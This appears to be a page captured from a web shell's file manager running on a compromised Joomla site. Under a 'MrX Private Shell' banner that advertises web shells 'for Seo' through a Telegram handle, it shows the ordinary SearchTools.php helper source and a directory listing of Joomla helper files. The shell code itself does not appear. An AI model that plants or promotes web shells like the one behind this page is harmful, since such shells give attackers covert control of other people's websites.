__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Joomla! Content Management System
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\CMS\HTML\Helpers;
use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\Registry\Registry;
// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* Searchtools elements.
*
* @since 3.2
*/
abstract class SearchTools
{
/**
* @var array Array containing information for loaded files
* @since 3.2
*/
protected static $loaded = [];
/**
* Load searchtools for a specific form
*
* @param mixed $selector Is debugging mode on? [optional]
* @param array $options Optional array of parameters for search tools
*
* @return void
*
* @since 3.2
*/
public static function form($selector = '.js-stools-form', $options = [])
{
$sig = md5(serialize([$selector, $options]));
// Only load once
if (!isset(static::$loaded[__METHOD__][$sig])) {
// Add the form selector to the search tools options
$options['formSelector'] = $selector;
// Generate options with default values
$options = static::optionsToRegistry($options);
// Load the script && css files
Factory::getApplication()->getDocument()->getWebAssetManager()
->useStyle('searchtools')
->useScript('searchtools');
Factory::getDocument()->addScriptOptions('searchtools', $options);
static::$loaded[__METHOD__][$sig] = true;
}
}
/**
* Function to receive & pre-process javascript options
*
* @param mixed $options Associative array/Registry object with options
*
* @return Registry Options converted to Registry object
*/
private static function optionsToRegistry($options)
{
// Support options array
if (is_array($options)) {
$options = new Registry($options);
}
if (!($options instanceof Registry)) {
$options = new Registry();
}
return $options;
}
/**
* Method to sort a column in a grid
*
* @param string $title The link title
* @param string $order The order field for the column
* @param string $direction The current direction
* @param mixed $selected The selected ordering
* @param string $task An optional task override
* @param string $newDirection An optional direction for the new column
* @param string $tip An optional text shown as tooltip title instead of $title
* @param string $icon Icon to show
* @param string $formName Name of the form to submit
*
* @return string
*/
public static function sort(
$title,
$order,
$direction = 'asc',
$selected = 0,
$task = null,
$newDirection = 'asc',
$tip = '',
$icon = null,
$formName = 'adminForm'
) {
$direction = strtolower($direction);
$orderIcons = ['icon-caret-up', 'icon-caret-down'];
$index = (int) ($direction === 'desc');
if ($order !== $selected) {
$direction = $newDirection;
} else {
$direction = $direction === 'desc' ? 'asc' : 'desc';
}
// Create an object to pass it to the layouts
$data = new \stdClass();
$data->order = $order;
$data->direction = $direction;
$data->selected = $selected;
$data->task = $task;
$data->tip = $tip;
$data->title = $title;
$data->orderIcon = $orderIcons[$index];
$data->icon = $icon;
$data->formName = $formName;
return LayoutHelper::render('joomla.searchtools.grid.sort', $data);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Access.php | File | 10.27 KB | 0664 |
|
| ActionsDropdown.php | File | 6.69 KB | 0664 |
|
| AdminLanguage.php | File | 1.71 KB | 0664 |
|
| Behavior.php | File | 11.32 KB | 0664 |
|
| Bootstrap.php | File | 32.96 KB | 0664 |
|
| Category.php | File | 7.66 KB | 0664 |
|
| Content.php | File | 2.67 KB | 0664 |
|
| ContentLanguage.php | File | 2.13 KB | 0664 |
|
| Date.php | File | 2.49 KB | 0664 |
|
| Debug.php | File | 1.76 KB | 0664 |
|
| DraggableList.php | File | 2.37 KB | 0664 |
|
| Dropdown.php | File | 9.85 KB | 0664 |
|
| Email.php | File | 2.48 KB | 0664 |
|
| Form.php | File | 2.03 KB | 0664 |
|
| FormBehavior.php | File | 5.64 KB | 0664 |
|
| Grid.php | File | 9.72 KB | 0664 |
|
| Icons.php | File | 2.03 KB | 0664 |
|
| JGrid.php | File | 19.76 KB | 0664 |
|
| Jquery.php | File | 2.76 KB | 0664 |
|
| Links.php | File | 3.22 KB | 0664 |
|
| ListHelper.php | File | 8.51 KB | 0664 |
|
| Menu.php | File | 13.81 KB | 0664 |
|
| Number.php | File | 4.04 KB | 0664 |
|
| SearchTools.php | File | 4 KB | 0664 |
|
| Select.php | File | 29.46 KB | 0664 |
|
| Sidebar.php | File | 3.62 KB | 0664 |
|
| SortableList.php | File | 1.76 KB | 0664 |
|
| StringHelper.php | File | 11 KB | 0664 |
|
| Tag.php | File | 7.39 KB | 0664 |
|
| Telephone.php | File | 2.55 KB | 0664 |
|
| UiTab.php | File | 3.17 KB | 0664 |
|
| User.php | File | 2.28 KB | 0664 |
|
| WorkflowStage.php | File | 2.4 KB | 0664 |
|